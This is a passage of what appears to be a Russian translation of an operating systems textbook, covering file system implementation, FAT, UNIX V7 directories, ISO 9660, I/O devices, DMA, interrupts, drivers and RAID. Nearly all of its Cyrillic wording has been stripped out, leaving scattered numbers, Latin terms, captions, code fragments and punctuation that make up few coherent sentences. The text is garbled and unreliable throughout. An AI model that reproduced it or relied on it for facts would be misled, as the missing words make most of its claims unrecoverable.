64 .
- .

Windows NT UNIX , , (Vogels, 1999). , NT
, UNIX. :
26 , 3 , 1 4 .
( ). 1 ,
2,3 , 4,2 . , 2014 ,
, VU.


:
? . 4.18 , .
, ,
. 1 32-
255
. ( .)
1 , 1 .
255 4 . ,
,
.
. , n , ,
n . ,
( ). 1
1 , 130 000 1 . ,
, ,
32 , , . ( ),
, .

4.4.

343

. 4.18. : ;


, , , , .
, , 8-,
16- 32- . : ,
. , , ,
, .
,
.
, ,
,
. . ,
VU, - . ,
, , , , .
,
,
.

344

4.

, ,
, .
. , .
,
. , .
-. , . 4.19, ,

. , ,
, ,
. 4.19, . ,
, , . 4.19, .
,
,
. , ,
-.
, -,
.
, . 4.19, , ,
. 4.19, , ,
. 4.19, , , . 4.19, .
- -.
, , . ,
( ),
, ,
- .

, -

. 4.19. : ,
, ;
; .

4.4.

345

.
,
, .
, ,
,
.


, . ,
,
.
.
,
,
. , ,
.
.
,
- ,
- . . 4.20.
, ,
. ,
.

. 4.20.

346

4.

,
, . , ,
, .
, . -
, , .
, i-.
,
,
. - ,
.
- , ,
.
.
, ,
.
.

4.4.2.
, . - ,
, , , ,
, 1.
,
, . , , , , ,
, ,
. ,
. : .
, . .
, ,
, . ()

, . , .
,
, .
1

,
(- ), . . .

4.4.

347

,
:
;
( ).
, , .
, . .
, , .
, Windows, ,
,
.
, , , .
, .
. -,
- ? ()
. -
DVD-,
.
. . UNIX ( -) /dev.
, , ,
. ,
,
.
-, ,
, . , , ,
,
.
,
. ,
,
, . ,
.
-, , .

. ,

348

4.

,
.
-, . ,
, .
,

, .
,
(Hutchinson et al., 1999).
,
.
, -,
. ,

, .
,
. . , , ,
.
- , ( ).
(Nemeth
et al., 2000). ,
.
:
.
, , , .
, , , 100 %,
, , .
.
,
. ,
,
.
( - ), ,
k k .
.
- .
. , , .

4.4.

349

,
.
, - .
, .
,
. , ,
.
, , ,
.
, ,
, , ,
,
.
Windows ,

. ,
,
.

( , ). ,

.
.
, - (,

). ,
,
.
, (. 4.21).
UNIX-.
() (). ,
. .
(
), ,
.
.
,
.

350

4.

, ,
(, , ). ,
, . /usr/
jhs/proj/nr3 .
/usr/jhs/proj/nr3/plans/
summary. summary ,
. nr3 plans.
, ,
, ,

.

. 4.21. . ,
. ,
. i-

,
i-, i- .
. .
(, ). i-
. ( , ),
.
, . 4.22, .
,
,

4.4.

351

, .
, . 4.22, . ,
10, 11, 14, 27, 29 30 ,
.
. 5 6,
, ,
.
.
, .
. 4.22, . i-
, .
. 4.22, . (, . .), . ,
, . 4.22, ,
. .

. 4.22. ,

.
.
.
, ,
, .
,
, . .
, . ,
, , ,
. ,
, .
. , , , ,
, .

352

4.

, UNIX
. , , , .
, , . , ,
.
, , ,
(, 232 , , 264 ).
, , (, ) , ,
(
/dev).
(Chervenak et al., 1998), (Zwicky, 1991).

4.4.3.
, , . ,
, .
, ,
. , i-,
, .

, . ,
UNIX fsck, Windows sfc ( ).
, .
fsck. sfc ,
,
. ( )
.
: .
,
, .
,
( ).
i-, ,
. i- , . ,
.
, .

.

4.4.

353

, 1 ,
(. 4.23, ).
, . 4.23, , 2 . .
, , .
: .

. 4.23. : ; ;
, ;
,

. 4.23, . 4
. ( , , , .) : .
,
, 5 (. 4.23, ). -

354

4.

, 5 , ,
.
, .

, 5
. (
),
. , .

. ,
, .
, .
i- ,
.
,
.
.
, , i-, , . , i-.
1
.
. :
i- .
, ,
, -
i- . , ,
. , i-.
.
, i- ,
i- . ,
. ,
i-, .
- i-
.
, ,
(
i-). . ,
, i- ASCII-. i-
i- , , .
, i- (
), , ,
0007, -

4.4.

355

, , .
,
, . , , , 1000 ,
. ,

SETUID, ,
, . ,
, ,
.

.
.
rm *.o

, .o (
),
rm * .o

( ), rm ,
, .o. MS-DOS i-,
.
, 1. ,
, ,
( ) . Windows
( ), 2. ,
, .

4.4.4.
, . 32- 10 .
100 /, 32-
1

FAT-12 FAT-16 MS-DOS : (), , FAT ,



.
, .
. . .

Windows.
. : ,
cmd.exe , .
.

356

4.

, 510 , .
, , .
,
. .


. ( cacher .)
, ,
.
, ,
. ,
. ,
, , .
.
. 4.24.
( ) , - ,
.
, -.
( ) .

. 4.24.

, -
( , ).
,
, 3,
FIFO, LRU, . ,
,
LRU ( ),
.

4.4.

357

. 4.24 , , , ,
, (LRU)
(MRU) .
, .
LRU-.
, . , , LRU, , .
- ,
. - , i-, , ,
. i-
LRU-, ,
.
, , i-,
. LRU-, :
1. , ?
2. ?
,
i-, , ,
. , , , , , LRU,
. , , , ,
, .
. ( , )
, , LRU .
. , ,
, ,
.
,
.
, .
,
, ,
. ,
, .
, . ,
. UNIX sync,
.
, update.

358

4.

sync, 30 .
30 .
Windows , sync, FlushFileBuffers, .
, - , , UNIX (
- ).
, . ,
, .
-
.
, 1 . UNIX 30 , ,
.
. ,
, , ,
write , .
, UNIX sync
,
. .
- , UNIX ,
,
Windows MS-DOS,
. , ,
UNIX, ( ),
Windows.
NTFS, ,
(, ).
. , . ,
, .
. ,
, .


, ,
, ,
. , . k -
, , , ,
k + 1. , k + 1
, , , .
.

4.4.

359

, ,
.
. ,
-
(, , -
). ,
,
. ,
, .
, .

, .
.
. ,
,
.



.
, , .
.
, .
, , .
. , ,
. 512 ,
1 (2 ),
2 (4 ). 2 , -
1
1 , , .

.
.
, i- - , , :
i- . i-
. 4.25, . i- ,
i-
, .

360

4.

. 4.25. : i- ; ,
i-

i-
, ,
i- . , . 4.25, ,
,
i-, (McKusick et al., 1984).
i-,
, i-. , . ,
, .
(solid-state disk, SSD),
. , ,
-, ,
, .
, . , , , SSD- . ,
,
.

4.4.5.

, .
.
, .
,
.

, , (,
, ) . Windows defrag,

4.5.

361

. Windows
, SSD-.
,
.
.
, -
. . .
; ,
,
, ,
. .
, ,
. ,
, .
Linux ( ext2 ext3) , , Windows,
, .
, SSD- . SSD- .
, , .

4.5.
,
. UNIX
Windows 8 10,
UNIX, 11, Windows 8,
. .

4.5.1. MS-DOS
MS-DOS ,
. Windows 98 Windows ME . Windows 2000, Windows XP
Windows Vista,
, , .
(FAT-32)
. . MP3 . Apple iPod
, iPod . ,
, MS-DOS, ,

362

4.

- , , ,
NTFS. .
, MS-DOS open, . open ,
, ( ). ,
, .
.
MS-DOS , 32 .
MS-DOS . 4.26. , ,
, . 8 + 3 ,
. Attributes ()
, , , ,
, .
, , . . archived ()
( MS-DOS
). ,
,
, . ,
, ,
. hidden ( )
.
, ,
. , system ()
del. ,
MS-DOS.

. 4.26. MS-DOS


. 2 ,
2- , 65 536 (
86 400 ). (5 ), (6 )
(5 ). : (5 ),
(4 ) 1980 (7 ). 7-

4.5.

363

1980 2107-. ,
MS-DOS 2108 .
, MS-DOS 2108 . MS-DOS
32- ,
, 2116 .
MS-DOS 32- ,
4 . , ,
, 2 .
, (10 ) .
MS-DOS (FAT
file allocation table), .
.
64 K FAT 1. , .
FAT . 4.9.
, FAT: FAT-12, FAT-16 FAT32 . - FAT-32
, 28
. FAT-28, , ,
.
FAT exFAT,
Microsoft . Apple exFAT,
, Windows OS X. exFAT
Microsoft , .
FAT 512 (
) ( Microsoft ),
. MS-DOS FAT-12 512 , 212 512 ( 4086 512 ,
10 , , . .).
2 , FAT 4096
2 , 12-
.
,
. Microsoft , 1, 2 4 .
FAT-12, 16 .

, , -, FAT
, -,
FAT 64 FAT-16. FAT-12 , FAT-32
. . .

364

4.

MS-DOS ,
FAT-12 64 .
- . FAT-16 16- .
8, 16 32 . (32 768 , ,
16 .) FAT-16
128 ,
FAT-12.
, FAT-16, 2 (64 K
32 ), 8 ,
2 . .
.
, , DV, 2
9 . , , ,
, 38 ,
. ,
, ,
19 , ,
.
Windows 95 FAT-32,
28- , MS-DOS,
Windows 95, FAT-32. 228 215 ,
2 (2048 ),
512 , 32- , 29 232 = 2 .
FAT . 4.4.
FAT-32
FAT-16. -, 8 ,
FAT-32, . FAT-16 ,
Windows C:, D:, E: F:.
, , , .
4.4.
( )
,

FAT-12,

0,5

FAT-16,

FAT-32,

128

16

256

512

16

1024

32

2048

4.5.

365

FAT-32 FAT-16 ,
. , 2- FAT-16 32- ,
64
. FAT-32 , ,
4 2- .
, 32 .
32 10- 32 . , , 8 , 32-
3/4 , . 8- 4-
, FAT
. 4- 2-
512 , FAT 512
( 2 ).
MS-DOS FAT . .
MS-DOS , FAT ,
. .

4.5.2. UNIX V7
UNIX ,
MULTICS. V7,
PDP-11, UNIX . UNIX Linux
10.
, ,
, .
14 ASCII, (
) NUL (
14 ). NUL 0.
UNIX .
, UNIX
i- (. . 4.10). , . 4.27,
: (14 ) i- (2 ).
64 .

. 4.27. UNIX V7

366

4.

i- . 4.10 i- UNIX , , (,
), , ,
i- .
. i- i- . i- .
, i- , .
,
. 4.10, . 10
i-, i-,
. i- , .
. , i-,
, .
, . . 4.28.

. 4.28. I- UNIX


. ,
/usr/ast/mbox. UNIX,
.
.
UNIX i- . i-

4.5.

367

,
, 1.

, usr, i- /usr.
i- ,
. i- /usr , ast. ast,
i- /usr/ast. i-
mbox. i- mbox
, . . 4.29.

. 4.29. /usr/ast/mbox

, ,
, , .
. .., .
. i- , .. i- . , , ../dick/prog.c,
.. , i- ,
dick.
. , ASCII-, .
, .. .

4.5.3. -
, -. ,
, .

368

4.

, , , .
- . - ,
, , DVD- Blu-ray-,
, -.
- - CD-R (CD Recordable). -,
,
-. (
, ).
. ,

-.

ISO 9660
ISO 9660
- 1988 . , -,
, , , .
- , .
, ,
,
(, MS-DOS).
- ,
. ( ). (
) 2352 . , .
2048 . -
, ,
, - .
.
, 1 = 75 .
ISO 9660 216 1 . -
(). ISO 9660
-.
- 16 ,
ISO 9660. -
, -, . , ,
-.
(32 ), (32 ),

4.5.

369

(128 ) , (128 ). , ,

, .
,
,
. , ,
( , 2048,
,
2, 4096, 8192 . .), -,
. ,
,
- ( , ).
.
-
. , ,
, .
, , , .
. 1012 , ASCII-, . ,
(, , Pentium),
(, , SPARC). , 16- 4 , 32- 8 .

.
, ,
, . , -
.
ISO 9660 . 4.30.
, ,
. , ,
.
.
,
.
. , , .
-
, , , , , 1.
1

, . . .

370

4.

. 4.30. ISO 9660

- 1900 , , -
2156 , 2155 1900. 1988 ( ),
2244 88 .
,
(, MS-DOS), , , , , , ,
, ,
. , . ,
ISO 9660 ,
.
, - . ,
- ,
- . ,
- ,
- .
, . 4.26 L, .
, , , ,
(1 2 ). , 0 9
. ,
.
, . MS-DOS.
, .
. ,

.
, . , , . , ,
.
-. , Macintosh Finder.
, , .
. .

4.5.

371

. .. UNIX.
.
. .
.
, .
ISO 9660 . 1 ,
8 + 3 , , . , ,
.
,
- .
2 .
31 ,
.
3 , 2, .
, . ( )
.
, 3
- , ,
.

Rock Ridge
, ISO 9660
. UNIX
, UNIX
-. Rock Ridge, (Blazing Saddles), , ,
- .
, ,
- Rock Ridge . ISO 9660.
, Rock Ridge,
-.
:
PX POSIX;
PN ;
SL ;
NM ;
CL ;

372

4.

PL ;
RE ;
TF .
PX rwxrwxrwx UNIX , .
, SETUID, SETGID . .
PN - .
, .
- /dev
.
SL .
.
NM. .
,
ISO 9660, , UNIX.
, ISO
9660 , .
, ,
. .
, TF , i- UNIX:
,
.
UNIX -, .

Joliet
ISO 9660 UNIX. Microsoft
( MS-DOS, -
, Microsoft).
Microsoft Joliet. ,
Windows -
, , Rock Ridge
UNIX. , , Windows -, Joliet, ,
-.
ISO 9660 Joliet.
, Joliet, :
;
Unicode;
;
, .

4.6.

373

64 .
Unicode.
,
, ,
, 1. Unicode 2 ,
Joliet 128 .
Joliet, Rock Ridge, . , . ,
. ,
, Windows - , , , - 2.

4.6.

, . ,
FAST, MSST NAS. ,
(Smaldone et al., 2013; Wallace et al., 2012), (Koller et al.; Oh, 2012; Zhang
et al., 2013a), (Wei et al., 2011), (Harnik
et al., 2013), - (No, 2012; Park and Shen, 2012;
Narayanan, 2009), (Leventhal, 2013; Schindler et al., 2011), RAID
(Moon and Reddy, 2013), (Chidambaram et
al., 2013; Ma et. al, 2013; McKusick, 2012; Van Moolenbroek et al., 2012),
(Rajgarhia and Gehani, 2010), (Fryer
et al., 2012) (Mashtizadeh et al., 2013).
,
(Harter et al., 2012).
(Botelho et al., 2013; Li et al., 2013c; Lorch et
al., 2013).
(Mazurek et al., 2012; Vrable et al., 2012). ,
, ,
, , (Ghoshal and
Plale, 2013; Sultana and Bertino, 2013).
,
(Baker et al., 2006). , (Appuswamy et al., 2011).
1

, , . , , . . .

Internet Explorer , Windows XP


.

. ,
my.site.city.net. . .

374

4.

4.7.

.
, ,
. , , ,
, , .
.
,
. , ,
i-. .
- (, i-). .

,
. ,
, ,
.
,
.
ISO 9660, MS-DOS UNIX.
,
, .

1. /etc/passwd.
: . ...
2. Windows ,
Windows Explorer,
. ,
, .
3. UNIX- ( a.out) , .
,
. ,
, ?
4. open UNIX?
, ?
5. , ,
. , ?

375

6.
rename. -
?
7. . ?
?
8. ,
.
-
? ?
9. UNIX Windows ,
.
.
10. , . 4.5. /usr/jim , ,
../ast/x?
11. ,
,
,
. , ?
, .
12. : ) , ) , ) (
) .
13.
.
, ,
, . .
,
5 , 4 ,
8 /, 8 . , ,
?
16- ?
14. , , -
?
15. ,
. ,
, .

376

4.

16. i-, . 4.10.


, 10 8 ,
1024 ?
17. .
. , . (, ) ?
18. ,
4 4 . (,
) ?
19. i-.
i-, . 4.10?
20. , , i-.
,
,
i- i-, i- .
. ?
21.
.
22. ,
i-.
23. 4 , 4
.
?
24. . D .
B , F ,
, ? , , D = 16 .
25.
: 1000 0000 0000 0000 (
). ,
A, 6 ,
: 1111 1110 0000 0000. ,
:
) B 5 ;
) A;
) C 8 ;
) B.
26. ,
?
?
UNIX FAT-16.

377

27. , . ,
, , .
. ,
?
28. .
Windows , ,
, . UNIX . UNIX ,
?
29. , 21 . 4.22 .
. 4.23?
30. , UNIX
, i-. ?
31. . 4.23. , -
2?
?
32.
( , ).
1 , , , 40 ,
, h. h 0 1,0.
33. USB-, , ?
34. , . , , ,
.
?
35. , , 10 , 14 23. , f1 f2.
, f1 f2
22 16. FAT, ,
f1 f2.
(14,18); (15,17); (16,23); (17,21); (18,20); (19,15); (20, 1); (21, 1); (22,19);
(23,14).
(x,y) , , x, y.
36. . 4.17 ,
6 , 15 000 /
1 048 576 . ,
1, 2 4 ?

378

4.

37. 4- . 1 . 1 ,
? ,
? .
38. ( ) 10 ,
4 , 4 ?
39. MS-DOS FAT-16,
. k ,
k , . ?
40. UNIX 4 4-
. , i- 10
, ?
41. i- /usr/ast/
courses/os/handout.t? , i- .
, .
42. UNIX i- . i-
. .
43. , ,
, .
,
.
44. ,
, . ,
, (, 1024
0 1023 , 1024 2047
. .).
45. , UNIX, i- . , ,
, .
46. ls UNIX.

, ,
. .
.
47. .

379

(, 2 ) .
(, 64 4 ).
(, gettimeofday getitimer UNIX),
, . :
?
48. ,
, .
, i-, ,
. . (,
, ). ,
, ,
, .

5.

, , , -, . ,
.
.
( ). -
. , -.
. -, -.
- ,
. ,
. -:
, , . .
.

5.1.
-
-. , , , , .

, , ,
.
-, , ,
,
. -
. -
, .
1.

5.1. -

381

5.1.1. -
- : . ,
,
. 512 65 536 . () .
,
. , Blu-ray- USB.
, , , .
, , ,
,
, , .
,
( ).
. N,
, N. , ,
. ,
.
, :
, .
- . , .
.
, ,
( -), ( ) , .
.
. , , .
. , , . ,
, .
.
,
-. , ,
,
.
- , ,
, -

382

5.

. . 5.1 . .
5.1.

10 /

100 /

56

7 /

300 dpi

1 /

3,5 /

Blu-ray- 4x

18 /

802.11n

37,5 /

USB 2.0

60 /

FireWire 800

100 /

Gigabit Ethernet

125 /

SATA 3

600 /

USB 3.0

625 /

SCSI Ultra 5

640 /

PCIe 3.0

985 /

Thunderbolt 2

2,5 /

SONET OC-768

5 /

5.1.2.
- . ,
. , .
,
(PCIe).
. . 1.6.
, ,
. , .
- ,
ANSI, IEEE ISO -
, , . , ,
SATA, SCSI, USB, Thunderbolt FireWire (IEEE 1394).

. , - -

5.1. -

383

2 000 000 512 .


,
(), 4096 , ,
, (Errorr
Correcting Code (ECC)). , ,
.

.
, .

.

.
, , , , .
,
.
,
,
.
- (). -
. .
- , . ,
( Retina) ,
.
, -,
- 20 , 12 .

5.1.3. -,

. , , ,
- . ,
, ,
, . .
,
. ,
,
, .

384

5.

: ? .
-,
8- 16- 1. -
-, (
). -,
IN REG,PORT

PORT REG. ,

OUT PORT,REG

REG
PORT. ,
, IBM 360 ,
.
. 5.1, ,
- .

IN R0,4

MOV R0,4

. - 4 R0,
4 R0. ,
.

. 5.1. - ; -,
;

, -,
, . . .

5.1. -

385

, PDP-11,
(. 5.1, ). ,
.
-.
. . 5.1, ,
-, , - .
x86, IBM PC 640 K 1 M 1
-, 0 64 K 1.
?
, -,
, READ
. , , -
, . ,
, -,
-. (
. 5.1, ), -
, .
,
. , , , , .
. -, . -,
-,
, ++
IN OUT, ,
. -, ,

,
C. -, ,
.
-, -, ,
.
,
, - . ,


,
. ,
, .

386

5.

-, -, , ,
, . , TEST,
,
,
.
:
LOOP:

TEST PORT_4

// , 4 0

BEQ READY
BRANCH LOOP

// 0, ready
// ,

READY:

-
, ,
.
,
, .
, . -, , . -, .
. ,
. PORT_4 ,
.
. - ,
.
-, ,
, .
,
, .
-, ,
- ,
, . ,
. 5.2, , ,
.

(. 5.2, ). , -. x86
( , PCIe, SCSI USB), . 1.12.
,
- , , - , ,
, . ,
- ,

5.1. -

387

. 5.2. : ;

- .

. , .
, .

,
-. ,
- ,
.
, . 1.12 , .
,
. , 640 1 M 1 ,
, .
, . ,
, .

5.1.4.
-,
, , .
- ,
,
, (Direct Memory Access
(DMA)). , ,
, , - (. 5.3).

388

5.

, ,
. DMA
DMA-, .
,
DMA- .
,
, DMA- (, , ).
. 5.3 , DMA- ,
. , .
,
. , ( -
), ( ),
, .

. 5.3. , DMA

DMA, ,
, DMA . ( ) ,
. ,
. . ,
,

.
DMA -.
DMA-, ,

5.1. -

389

, ( 1 . 5.3).

. , DMA.
DMA- , ( 2). ,
, ,
DMA-.
, , , ,
,
, .
( 3). ,
DMA- ( 4). DMA-
.
, 2- 4-
, . , DMA ,
. ,
, .
DMA .
, ,
. . , .
,
. . 5.3 ( 2- 4-), DMA- , .
, ,
. ,
.
DMA- .
: .
DMA- . , : DMA-
. ,
. ,
, . DMA-
, ,
. .
, , , ,
,
. ,
,
.

390

5.

, DMA
. , DMA-,
DMA-,
. ,
,
( ,
).
DMA-
.

DMA. DMA-
,
.
DMA- (MMU). ,
MMU ( ),
.
, DMA . , , , . ,
? . -,
, ,
. ,
.
-, ,
, .
,
.
- (, ), . ,
, , ,
- .
, .
,
DMA, ,
DMA . (
, ,
, - .)
DMA .
, DMA-
(
-).

5.1. -

391

, ,
DMA- , . ,
DMA
, ,
.

5.1.5.
- 1 .
, . 5.4.
.
- , (
, ). .
, , .

. 5.4. .
,

, .
- ,
.
,
.
, ,
,
.
,
, , .
, ,

392

5.

.
. ,
.
- , , (
).
, -
. ,
.
, ,
, (
) . , ,
.
.
. ,
.
.
: ? ,
. ,
,
,
. ,
, .

. . :
? ,
.
, , .
. ,
.
:
, ?
, .
MMU ,
,
TLB.
.

5.1. -

393


,
( ).

. ,
(PSW) . ,
.
, ,
, , ,
, , , .
,
.
(. . 1.7, ). , ( )? .

.
, . , ,
, ,
, .
(. . 1.7, ) .
, ,
.
, , , .

, .
, , (Walker and Cragon, 1995).
:
1. .
2. , , , .
3. , , ,
.
4. ,
.
, ,
, . -

394

5.

,
. , , ,
. , .
, . ,
-, ,
.
- , , , ,
, . , . 5.5, , . ,
(316), , ,
, ( ,
), .

. 5.5. : ;

, ,
,
, , . . 5.5, , ,
, ,
,
.
,
, . .

. ,

-
.
, , . ,
- , ,
.
, , .
,
, .
.

5.2. -

395

, x86,
. ,
, , . ,


- . , .
,
-,
.
,
, .

5.2.
-
- .
-,
- .

5.2.1. ,
-
- :
.
,
- . , , ,
, DVD - USB
.
sort <input >output

, ,
, ,
. ,
, , .

.
. UNIX
, , . ,
- USB () /usr/ast/

396

5.

backup, /usr/ast/backup/monday monday -. ,


: ,
.

- . -
. , ,
, . ,
, , . , , , ,
, .
,
.
, ,
.
, () ( ).
-
:
- , .
, -
: read
, .
,
.

-,
-.
- .
, ,
. , ,
, , -
. ( , ) ,
,
, .
-.
. -, , .

, . ,
, ,
.
. ,
,

5.2. -

397

. ( )
, .
, ,
.

5.2.2. -
-.
-.
(-, , -, DMA).
-, .
-.
-,
. ,
, :
ABCDEFGH. .
. 5.6, , , .

. 5.6.

, , .
,
, ,
. , ,
.
, , p, , ( ,
,
). . ,

398

5.

, . , ,
-, . .
, ,
- , . . 5.6,
, B
, .
,
.
, , .
.
, ,
.
, . , , . 5.6, . ,
. .
, , 5.1. . ,
. -, , ,
. .
5.1.
copy_from_user(buffer, p, count);
for (i = 0; i < count; i++) {
while (*printer_status_reg != READY);
*printer_data_register = p[i];
}
return_to_user();

/*
/*
/*
/*

p */
*/
*/
*/

- , , -. (
),
.
, .
, ,
. -.

5.2.3. -,
, . , ,
100 , 10 . ,

5.2. -

399

10 , .
, 10 .
- .
, , ,
,
. - . , ,
, . ,
, . 5.7, .

. 5.7. -,
: , ;

, .
. . . 5.7, . ,
. ,
,
.

5.2.4. - DMA
-, , , . ,
.
DMA . DMA- -,
,
DMA. . 5.8.
DMA
.

400

5.

. 5.8. DMA: , ;

. DMA ,
. DMA-

DMA, , , -, , -. DMA
.

5.3.
-
- (. 5.9).
.
, , , -
.

. 5.9. -

5.3.1.
, -,
- ,
.
,
. , -, -
. , , ,
down , wait , receive , - .

5.3. -

401

, .
. up .
signal .
.

.
, ,
, .
, . , up ,
IRET .
.
,
. ,
,
, , .
, .
1. ( PSW), , .
2. .
TLB, MMU .
3. .
4. . .
5. , (, - ), .
6. ,
, .
7. .
- , , .
8. MMU . TLB.
9. , PSW.
10. .
, .
,
, MMU (, R M).
TLB ,
.

402

5.

5.3.2.
. , ,
, ,
, . . ,
, ,
. , , , ,
, ,
, .
, .
- , .
.
. ,
.
. , SCSI-
SCSI- ,
, Blu-ray- SCSI-.
, , , . ,
. .
. , USB , . USB-
, , , , , -,
, , ,
, , - .
USB, .
, USB- , TCP/IP- . , , ,
USB- ( -), ,
, USB-.
,
USB, . ,
API-, ,
. . , - , .
, , , , ,
. -
, ,

5.3. -

403

.
,
,
. ,
. , , MINIX 3 (www.minix3.org).

, .
, (), , , , .
, ,
.
. 5.10,
.

. 5.10. .

. ,
, ,

404

5.

, ,
, .
, ,
, .
,
.
, , ( )
( ).

, . UNIX,
, -
. .

- .
,
, . , MS-DOS, ,
.
-.
.

, , . .
, .
.
.
. , . ,
.
, ,
, .
, .
, .
, , ,
.
.
, .
.
,
. , , . -

5.3. -

405

,
.
, . ( )
.
, .
, - , ,
. .
,
.
, .
. .
.
, (, )
, . , , .
- ,
. ,
.
.
- . , -
. . ,
. ,
. ,
, .
, ,
. , - , ,
.
, - ,

. ,
(, ),
.
, .
. ,
,
.
MMU, , DMA, . .

406

5.

5.3.3. -,

-
, . ,
, ( ), ,
, -
- .
, . 5.2,
, .
, ,
-
. .
5.2. ,




- .
, , . . -,

.
.
. . 5.11, ,
.
, , ,
. , ,
, . ,
.
. 5.11, ,
. , .

5.3. -

407

. 5.11. : ;

, , .
, , .
. ,
, , .
, ,
.
.
, , ,
.

. (, . .)
.

-.
. , UNIX , /dev/disk0,
i- , i-
, .
i- ,
, . ,
,
.
.
, ? UNIX,
Windows
,
-.
.

408

5.


, . ,
, , ,
ADSL-, .
read
.
. . - ,
. . 5.12, .

. 5.12. ; ;
;

,
. -
.
. 5.12, . n .
, .
. ,
. ,
? , ,
.
(. 5.12, ).

5.3. -

409

, , , .
.
. , ,
? , . . . 5.12, ,
, .
,
( , ). ,
. , :
, .
.

. ,
, ,
, . (,
) ; ,
,
. ,
, .
. , ,
,
. 5.12, . , n ,
write. . ,
,
.
-,
- , .
,
?
, .
, . 5.12, ( ), .
, -. .
, . ,
. , , , . 5.13.
.
,
( 1).
.

410

5.

, ( 2). ,
, , ,
. ,
, DMA -.
.
.

. 5.13.

, ( 3). ,
,
.
( 4). ( 5).
. , . ,
, .


- ,
. .

, .
- .
, - ,
(, , . .)

5.3. -

411

(, . .)1.

(, , )
. . : .
-,
.
. , ,

.

. , ,
. , .
, , ,
.
. , ,
. , ,
. .


, , .
.
open. ,
open .
close.

. , , . .
,
.

, , ( )
.
. . .

412

5.

,

.

, ,
. ,
,
, . (, )
, (, Ethernet-)
.
.

5.3.4. -,

- , , ,
, ,
. , , -, . C

count = write(fd, buffer, nbytes);

write, ,
, . .
,
-.

, , . ,
. C
printf, , , , , ASCII-,
, , write.
printf
printf("

%3d

%6d\n", i, i*i);

14- ,
i 3- , 7- , i2
, , .
scanf, ,
, , printf. - , -,
.

5.3. -

413

-, ,
.
. , (spooling), - .
, , .
, ,
, .
.
, (daemon),
, .
.
,
. ,
.
,
-. ,
. - , .
. ,
, USENET News ( Google Groups).
,
. ,
. , ,
.
1.
. 5.14 - . ,
, , ,
, , , .
. 5.14 . , , , , . , ,
, , .
,
, . ,
.


FIDONet ( , ),
, (,
). . .

414

5.

. 5.14. -

, .
, , ,
.

- .

5.4.
-.
, , . , .

5.4.1.
.
.
- ,
( , . .).
, , . ,
(DVD Blu-ray). ,
.
, .


, , . -

5.4.

415

, 8
32 .
1 16.
,
.
. ,
(Integrated Drive Electronics (IDE))
SATA (Serial ATA), , .
, .
, ,

.
. , .
,
,
. ( ,
.) , ,
, ,
.

.
.
. 5.3 IBM PC , ,
, . , .
,
16 000 , 800 000 .
.
5.3. 360- IBM PC
Western Digital WD 3000 HLFS (Velociraptor)

IBM
360


WD 3000 HLFS

40

36 481

255

63 ( )

720

586 072 368

416

5.
5.3 ()

IBM
360


WD 3000 HLFS

512

512

360

300

( )

0,7

()

77

4,2

200

22

1,4

,
, , .
. ,
, . . 5.15,
. 32 ,
16. , WD 3000 HLFS, 16 , 4 % .

. 5.15. : ;

, , . ,
x , y z .

5.4.

417

(x, y, z) , .
. 5.15, . 192 ,
.
PC (65 535, 16
63), ,
, IBM PC.
16-, 4- 6- ,
1, 0.
512 31,5 .
,
(logical block addressing, LBA), , , .

RAID
, 18 ,
. 70-
,
-, 50 100 . . (, ) 510
( , 0,8
100 ), -
. ,
. -
?
! ,
.
-.
1988 (Patterson)
,
, , .
, RAID. RAID
Redundant Array of Inexpensive Disks
, I Independent , Inexpensive ( ,
?). - ( RISC
CISC, ), SLED
(Single Large Expensive Disk ).
RAID , ,
, , RAID, . ,
RAID SLED,

418

5.

. RAID-
RAID SCSI-
SCSI-, SCSI- 15
.
RAID- SATA.
- .
, , RAID-
, .
RAID- 0 6.
, .
, -
, RAID-.
RAID- 0 . 5.16, . , RAID- ,
k 0 k 1 0, k 2k 1
1 . . k = 1 , k = 2 . . . 5.16, , RAID-,
, RAID- 0,
.
. , ,
, , RAID ,
, . , -, .
RAID- 0 ,
, . ,
, ,
, .
, .
.
RAID 0 ,
. , ,
.
, , SLED.
RAID- , 20 000 , -
5000 . SLED-
, 20 000 , .
, RAID.

5.4.

. 5.16. RAID- 0 6;

419

420

5.

, RAID- 1 (. 5.16, ),
RAID-. ,
. .
, . ,
,
.
: ,
.
.
RAID- 0 1, , , RAID- 2 .
4- ,
7- ,
1, 2 4 . ,
(. 5.16, ) .
7- , .
CM-2 Thinking Machines.
32- , 6 ,
38- , . 39- 39 .
, , ,
32 , . ,
39- , .
, . , ( 32 ,
, 6 19 %).
,
.
RAID- 3 RAID 2.
. 5.16, . ,
. RAID- 2,
,
.
,
, . .
, . ,
. ,
, 1,
. RAID- 2 3

5.4.

421

, - ,
, , .
RAID- 4 5 , . RAID-
4 (. 5.16, ) RAID- 0
, . ,
k ,
, k .

.
, .
, , ,
.
.
.
,
RAID- 5 (. 5.16, ).
.
RAID- 6 5,
. ,
. -
,
. ( , ,
RAID- 5 ).

5.4.2.
, 3,5 ( 2,5
), ,
. .
.
, .
, . . 5.17.

. 5.17.

, .
.

422

5.

.
512 . ECC (Error Correction Code)
,
1. ,
, ECC, . 16-
ECC. ,
, .

, .
, (cylinder skew)2,
. , .
. 5.15, . , 18 , 0 .
16 , 17-
.
0 - ,
.
, . 5.18.
. , , 10 000 /, 6 .
300 , 20 .
800 , 40 ,
40 , , . 5.18. ,
, (head skew),
.
, ECC,
.
20 % , . ,
,
( , ).
- , , , ,
. , , , 200 109 . 200- .
1

.
. . .

. . .

5.4.

423

. 5.18.

, , 170 109 .
, , , , 170, 158 , 1 230 (1 073 741 824) , 109 (1 000 000 000) .
, 158 .
, 1 /
1 000 000 000 /, 109 ( 1000 , 1024 ). ,
, , 210, 220, 230 240 .
103, 106, 109 1012
, , , 210, 220, 230
240 , , .
. ,
, , ,
( , 280).
.
10 000 / 300 512 ,
153 600 , , 6
25 600 000 /, 24,4 /. , SCSI, 80 160 /.

424

5.

. , , ,
, .
, .
, . , ,
, .

. . 5.19,
( ). . 5.19,
(single interleaving),
,
.

. 5.19. : ; ;

,
(double interleaving) (. 5.19, ). , ,
,
DMA, .
, .
.
. .
.
.
x86- , , 0
(master boot record (MBR)),
, . MBR ,
, , IBM
PC 1983 10
PC XT. . MBR
32 , ,
512- , , 2 .

5.4.

425

GPT (GUID Partition Table ,


),
9,4 (9 444 732 965 739 290 426 880 ),
.
(partition table)
. x86-
. Windows,
C:, D:, E: F: . Windows, UNIX, Windows C:, D: E:.
USB- F:1.
, .
( ).
, ( ),
. ,
,

( ). .
- (BIOS), .
, .
.
,
, , .
.

5.4.3.

,
. ,
. :
(
);
(
);
.
1

,

. Windows XP NTFS : C:,
- D:, E: Z:. . .

426

5.

,
.
